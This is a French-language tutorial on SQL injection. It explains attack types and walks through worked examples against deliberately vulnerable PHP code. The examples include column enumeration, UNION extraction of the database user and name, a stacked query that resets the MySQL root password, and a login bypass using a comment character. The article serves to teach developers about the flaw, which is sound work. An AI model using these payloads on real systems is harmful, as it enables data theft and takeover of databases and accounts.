Qu'est ce que l'injection SQL ?

L'attaque par injection SQL aussi appelée faille SQLi pour l'abréviation de SQL Injection. L'injection SQL correspond à un ensemble de techniques d'exploitation des failles de sécurité d'un applicatif lors de ses appels à la base de données. Les exploitation par injection SQL vise à injecter dans une requête SQL officielle un fragment de requête non prévu par le code de l'application, permettant de modifier le comportement de celle-ci lors de son exécution. Il devient alors possible pour un hacker d'exfiltrer des données, de supprimer la base de données, de modifier les droits d'accès, de créer de nouvelles tables, etc.

L'attaque par injection SQL est l'une des failles les plus communes sur un site internet. Il est donc primordial de la comprendre pour s'en protéger. Depuis 1998 et jusqu'à lors, les attaques par injection SQL restent (d'après le rapport de OWASP) la faille de sécurité la plus fréquente sur les sites internet. Pour cause, une trop grande méconnaissance du sujet et un manque de sensibilisation des développeurs web à la sécurité dans sa globalité.

Quelles sont les conséquences d'une injection SQL ?

La divulgation d'information confidentielle, étant donné que les bases de données contiennent en règle générale des données à caractères sensibles (empreinte des mots de passe et vecteur de salage, email, informations bancaires,etc).

La possibilité d'une authentification fallacieuse. Car si une mauvaise commande peut être exécutée à la place de la commande attendue, rien n'empêche une élévation de privilège mal attentionné.

La modification des niveaux d'autorisations à l'accès aux informations. Si les droits sur une application sont stockés dans la base de données et qu'une commande d'altération est exécutée, il est parfaitement envisageable de les remplacer en exploitant avec succès une vulnérabilité.

Altération de l'intégrité des données. Il est parfaitement possible d'apporter des modifications ou même de supprimer des informations avec une attaque par injection SQL.

Réseaux et transmissions
Vous souhaitez monter en compétence facilement et rapidement ?

Une injection SQL est facile à détecter et facilement exploitable

Des outils comme Vegas ou SQLCake permettent d'automatiser la détection et/ou l'exploitation des failles sur les sites internet. Le simple moteur de recherche de Google permet grâce à l'utilisation des « dorks » de découvrir très rapidement des sites possiblement sensibles aux injections SQL. Voire de filtrer pour un site spécifique ses pages sensibles aux attaques par injection SQL. Un site sensible sera donc tôt ou tard victime de sa négligence dans son processus de sécurisation.

L'essentiel d'une attaque par injection SQL s'accomplit en plaçant un méta caractère (dièse ou dollar, ou deux tirets) dans l'entrée destinée aux données pour ensuite placer une commande qui sera interprété en plus de la requête initiale prévue par le système.

Les différents types d'attaques par injection SQL

Injection SQL en aveugle (Blind SQLi)

L'injection SQL en aveugle (Blind SQLi), est une attaque SQL qui soumet des modifications de requêtes en aveugle à la base de données. L'objectif de cette approche est de déterminer la réponse en fonction du retour de l'application (absence de données, message d'erreur ou délais de réponse de la base). Cette attaque est principalement utilisée quand une application est configurée pour afficher des messages d'erreur générique. Il est aisé d'envisager une requête testant l'existence de l'Id d'un utilisateur, puis grâce à une condition if d'exiger du moteur d'attendre quelques secondes s’il n'existe pas. Ce type d'attaque par injection SQL est relativement compliquée, mais pas impossible. Elle sert en règle générale en phase de reconnaissance pour définir le moteur SQL employé ou pour se faire une idée du schéma de la table, de la base ou pour contrôler si un enregistrement existe par des tests sur les clés primaires.

Injection SQL par l'erreur (Error SQLi)

L'injection SQL par l'erreur (Error SQLi), est une méthode d'exploitation qui vise au moyen de soumission de requêtes SQL erronées, à récupérer des informations sur le modèle de la base donnée grâce aux messages d'erreurs natifs du moteur de base de données.

Injection SQL par union (Union SQLi)

L'injection SQL par union (Union SQLi), est une exploitation basée sur l'utilisation de l'opérateur UNION pour combiner différents jeux de résultats de plusieurs instructions SELECT en un seul jeu de données.Ce type d'attaque par injection SQL sert à exfiltrer très rapidement de fortes volumétries de données d'une application.

Injection SQL par sous requête et empilement (Stacked Queries SQLi)

L'injection SQL par sous-requêtes ou empilement (Stacked queries SQLi), est de loin l'attaque la plus dangereuse pour une infrastructure. Elle permet d'exécuter plusieurs instructions dans la même requête pour étendre les possibilités de l'injection SQL initiale. Une requête par empilement offre un très grand niveau de contrôle à un attaquant. Ce type d'attaque par injection SQL permet à l'attaquant de ne pas exécuter la requête d'origine et de la remplacer par une nouvelle requête SQL. Il pourra à partir de là faire ce qu'il souhaite. Le risque le plus grand est que l'environnement de la base de données puisse avoir accès à des commandes comme xp_shellcmd qui permettent d'exécuter du code Shell directement via une procédure stockée.

Injection SQL par requête XPATH

L'injection SQL par XPATH est spécifique aux moteurs SQL qui permettent la manipulation d'élément XML (comme le Transac-SQL). Une chaine XPATH constitutive de la requête est alors concaténée avec une donnée non sécurisée, permettant à un attaquant d'accéder à une donnée autre, ou d'invalider la requête pour en exécuter une nouvelle (par la méthode Stacked queries).

Exemple d'attaque de base par injection SQL

Imaginons les erreurs les plus classiques: un site qui utilise une requête en GET pour définir la page à afficher.

https://[unsafe-website]/index.php?page=1

Cette requête appelle le script index.php qui contient le code suivant :

//Une table avec 3 champs : id,html,author
//Hébergée sur unsafe-website avec le nom d'utilisateur root
$query = "SELECT * FROM pages WHERE id = " . $_GET["id"];

Supposons maintenant une injection SQL visant à connaître le nombre de colonnes de la table concernée:

index.php?page=1 order by 10 
SELECT * FROM pages WHERE id = 1 order by 10
//Retourne une erreur du moteur SQL : unknown column 10 in order clause
index.php?page=1 order by 5
SELECT * FROM pages WHERE id = 1 order by 5
//Retourne une erreur du moteur SQL : unknown column 5 in order clause
index.php?page=1 order by 3
SELECT * FROM pages WHERE id = 1 order by 3
//Ne retourne pas d'erreur, la page s'affiche, la table dispose donc 3 colonnes 

Maintenant que nous connaissons le nombre des colonnes de la table cible, nous allons essayer de définir quel champ correspond à quoi grâce à la méthode union :

index.php?page=1 union all SELECT 1,2,3
SELECT * FROM pages WHERE id = 1 union all SELECT 1,2,3

Cette dernière requête nous retourne 2 lignes :

1 contenu html de la page auteur
1 2 3

Problème, la page n'est pas faite que pour afficher le premier enregistrement, impossible donc de récupérer ces informations. Nous allons donc forcer le paramètre id à -1. Pour n'avoir qu'un unique retour, celui de notre union.

index.php?page=-1 union all SELECT 1,2,3
SELECT * FROM pages WHERE id = -1 union all SELECT 1,2,3

La page affiche maintenant 1 comme identifiant de l'article, 2 comme contenu de l'article, 3 à la place du nom de l'auteur. Nous allons passer aux choses sérieuses et récupérer le nom de l'utilisateur de la base de données, le nom de la base ainsi que l'emplacement absolue de la base de données.

index.php?page=-1 union all SELECT 1,user(),DATABASE()
SELECT * FROM pages WHERE id = -1 union all SELECT 1,user(),DATABASE()

La page affiche maintenant 1 comme identifiant de l'article, "root@ip-v4" comme contenu de l'article, "unsafe-website" à la place du nom de l'auteur.

Il est donc connecté en root, le maître absolue de la base de données. Une erreur grossière. Nous allons changer le mot de passe du compte root et l'assigner à toor pour obtenir les pleins pouvoirs sur la base de données.

index.php?page=-1;SET PASSWORD FOR 'root'@'ip-v4' = PASSWORD('toor');  
SELECT * FROM pages WHERE id = -1;
SET PASSWORD FOR 'root'@'ip-v4' = PASSWORD('toor');  

A partir de là vous pouvez vous connecter via l'ip v4 au serveur de base de données via un logiciel de client SQL, ou un simple client SSH.

Exemple d'élévation de privilège d'une application web avec une injection SQL

Imaginons un petit formulaire de connexion sur la page login.php qui attend un simple email et un mot de passe. Lors de l'analyse de la requête HTTP envoyée en POST grâce à l'utilitaire d'analyse réseau fourni par n'importe quel navigateur (F12 puis réseau) on constate uniquement ces deux paramètres :

email : "admin@unsafe-website.fr",
password : "superpassword"

Lors de l'éxécution du script login.php le code génère la requête suivante via une simple concaténation.

$query = "SELECT * FROM users WHERE email ='".$_POST["email"]."' AND password ='".$_POST["password"]."'";

Soit la requête suivante :

SELECT * FROM users WHERE email ='admin@unsafe-website.fr' AND password ='superpassword';

Supposons maintenant que je force les paramètres dans le formulaire de la manière suivante :

email : "admin@unsafe-website.fr'#",
password : ""

Le moteur interprétera la requête suivante, sans JAMAIS tenir compte du mot de passe.

SELECT * FROM users WHERE email ='admin@unsafe-website.fr'

Le mot de passe sera systématiquement ignoré par le système et n'importe quel utilisateur pourra à sa convenance se voir, concéder les droits d'accès illégitimes de l'administrateur.

Conclusion sur les attaques par injection SQL

Ces exemples sur les techniques d'attaques par injection SQL sont relativement simples et il existe de très nombreuses façons de créer de modèles d'attaques par injection SQL. Plus l'attaquant est techniquement doué en SQL. Plus il envisagera de possibilité de détourner ou de contourner le système pour réaliser des attaques par injection SQL. Soyez donc minutieux dans vos intégrations et dans vos tests pour vous évitez à vous (comme à vos clients) de mauvaises surprises.

Une publication sur les bonnes pratiques d'intégration avec l'objet PDO en PHP.